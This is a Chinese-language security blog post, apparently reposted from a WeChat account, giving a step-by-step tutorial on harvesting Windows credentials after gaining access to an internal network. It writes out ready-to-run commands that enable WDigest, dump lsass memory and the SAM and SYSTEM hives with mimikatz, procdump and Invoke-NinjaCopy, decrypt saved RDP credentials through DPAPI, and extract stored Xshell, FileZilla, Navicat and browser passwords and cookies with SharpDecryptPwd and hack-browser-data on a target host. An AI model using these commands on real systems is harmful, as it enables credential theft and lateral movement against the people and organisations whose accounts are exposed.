内网用户凭证收集

admin 2023年11月25日00:26:54评论12 views字数 4137阅读13分47秒阅读模式

内网用户凭证收集

信息搜集时要尽可能的收集域内用户的登录凭据等信息,方便之后的横向渗透工作,本节就来介绍如何进行内网的用户凭证收集。

获取域内单机密码和哈希值

在Windows中,SAM文件是Windows用户的账户数据库,位于%SystemRoot%System32Config目录中,所有本地用户的用户名,密码哈希值等信息都被存放在这个数据库文件中。在用户输入用户名密码登录时,,用户输入的密码会被转为哈希值,,然后将转换后的哈希值与SAM数据库中对应用户名的密码哈希值进行比对,,如果一致则说明密码正确,,认证成功。

lsass.exe是Windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登录策略。通常在用户输入密码完成验证开始登录用户的时候,登录的域名,用户名,登录凭据等信息都会存储在lsass.exe的进程空间中,用户的密码则是通过WDigest和Tspkg模块调用后使用可逆的加密算法加密后存储在内存中。WDigest默认关闭,可以通过修改注册表重新打开。

开启WDigest
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
 
关闭WDigest
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

在开启WDigest之前查看注册表发现并没有UseLogonCredential这个数据项,开启后,UseLogonCredential数据项被添加。

内网用户凭证收集

关闭后,UseLogonCredential数据项的值由0×1变成了0×0

内网用户凭证收集

用户获取账户的密码和哈希的工具有很多,其中大多都是通过读取SAM文件或者访问lsass.exe进程的内存数据操作实现的,而这些都需要管理员权限,所以普通用户权限的话是做不到这点的,需要我们进行提权的操作,下面先用mimikatz内置的提权方式: privilege::debug获取DebugPrivilege权限,更多提权方法后期会详细说。

在线读取lsass进程内存

将mimikatz.exe上传到目标主机,执行以下命令。

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
#privilege::debug提升至DebugPrivilege权限
#sekurlsa::logonpasswords导出用户凭据

内网用户凭证收集

mimikatz除了上面这种直接一条命令指定全部的执行语句之外也可以分开执行,下面就是分开执行命令的使用。

privilege::debug
sekurlsa::logonpasswords full

内网用户凭证收集

离线读取lsass内存文件

这里用微软官方提供的Procdump工具,把Procdump工具上传到目标机,执行以下命令。

procdump.exe -accepteula -ma lsass.exe lsass.dmp

将lsass内存导出到lsass.dmp文件中。

内网用户凭证收集

然后执行以下命令。

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
 #sekurlsa::minidump lsass.dmp,加载内存文件
 #sekurlsa::logonpasswords full,导出用户凭据

内网用户凭证收集

在线读取本地SAM文件

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
#privilege::debug,用于提升至DebugPrivilege权限
#token::elevate,提升至system权限
#lsadump::sam,用于读取SAM文件

内网用户凭证收集

离线读取本地SAM文件

为了提高SAM文件的安全性以防止离线破解,Windows会对SAM文件使用秘钥进行加密,这个秘钥存储在SYSTEM文件中,与SAM位于同一个目录下。在系统运行时,SAM和SYSTEM这两个文件是被锁定的,所以需要借助一些工具来实现,这里用PowerSplit项目中提供的Invoke-NinjaCopy.ps1脚本完成。

Invoke-NinjaCopy -Path "C:WindowsSystem32configSAM" -LocalDestination C:Usersh0cksrDesktopSAM
Invoke-NinjaCopy -Path "C:WindowsSystem32configSYSTEM" -LocalDestination C:Usersh0cksrDesktopSYSTEM

也可以在管理员权限下,通过保存注册表的方式导出。

reg save HKEY_LOCAL_MACHINESAMSAM sam.hive    #导出SAM注册表
reg save HKEY_LOCAL_MACHINESYSTEM system.hive  #导出SYSTEM注册表

使用Mimikatz.exe读取即可。

mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit

获取常见应用软件凭据

获取RDP保存的凭据

为了方便使用RDP远程桌面连接,用户可能勾选保存连接凭据,这些凭据被加密保存在windows的凭据管理器中,路径为%USERPROFILE%AppDataLocalMicrosoftCredentials

执行以下命令,查看当前主机上保存的所有连接凭据。

cmdkey /list        #查看当前保存的凭据
dir /a %USERPROFILE%AppDataLocalMicrosoftCredentials*        #遍历Credentials目录下保存的历史连接凭据数据

内网用户凭证收集

凭据被加密,尝试使用Mimikatz导出RDP凭证。执行以下命令。

mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%AppDataLocalMicrosoftCredentialsDFBE70A7E5CC19A398EBF1B96859CE5D" exit
#使用mimikatz解析指定的连接凭据

解析连接凭据DFBE70A7E5CC19A398EBF1B96859CE5D

内网用户凭证收集

这时候拿到的pdData就是凭据的加密数据,guidMasterKey就是该凭据的GUID,记录下guidMasterKey的值然后执行mimikatz命令找到想关联的MasterKey

mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

内网用户凭证收集

记录MasterKey,这就是加密凭据所使用的秘钥。最后执行以下命令。

mimikatz.exe "dpapi::cred /in:%USERPROFILE%AppDataLocalMicrosoftCredentialsDFBE70A7E5CC19A398EBF1B96859CE5D/msaterkey:8dbb2920681f35980e21d47357c63a9d3f0e4d452d03dc9e0702a9c23b7c1abb4251a5ee8398e60500b9b192d6326aa873681b7360e4349b94b8715ad9f66c5c" exit

成功后回显的UserName和Credentials这两个数据值为用户名和密码。

获取Xshell保存的凭据

Xshell会将服务器连接信息保存在Session目录下的.xsh文件中,路径如下,如果用户在连接的时候勾选了记住用户名/密码,该文件会保存远程服务器连接的用户名和经过加密后的密码。

内网用户凭证收集

Xshell7前的版本可以通过工具SharpDecryptPwd解密,将SharpDecryptPwd.exe上传到目标主机,执行以下命令获取xshell中保存的所有连接凭据。

SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%DocumentsNetSarang Computers6XshellSessions"

Xshell7后的版本通过上面命令获得的密码为一串乱码,只能使用星号密码查看器直接查看密码,相关方法这里不赘述。

获取FileZilla保存的凭据

FileZilla用于FTP连接,它会将FTP登录凭据以base64密文的格式保存在%USERPROFILE%AppDataRoamingFileZillarecentservers.xml文件中,可以使用SharpDecryptPwd直接一键导出FileZilla保存的凭据。

SharpDecryptPwd.exe -FileZilla

获取NaviCat保存的凭据

用户使用Navicat连接数据库时,选择保存密码(默认勾选)后,Navict会把这些信息存到注册表中,路径如下。密码是经过可逆算法加密后保存的,且Navicat<=11版本和Navicat>=12版本使用的加密算法不同。

内网用户凭证收集

执行以下命令,一键导出当前主机上用户连接过的所有数据库的登录凭据。

SharpDecryptPwd.exe -NavicatCrypto

获取浏览器保存的登录凭据

将工具hack-browser-data上传到目标主机直接运行。

hack-browser-data.exe

完事儿会在当前目录下生成一个result目录,包含所有已安装浏览器保存的用户登录密码、浏览器书签、Cookie、历史记录等信息的CSV文件。

总结

愿大家健康开心。


原文始发于微信公众号(AlertSec):内网用户凭证收集

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月25日00:26:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网用户凭证收集https://cn-sec.com/archives/2237772.html

发表评论

匿名网友 填写信息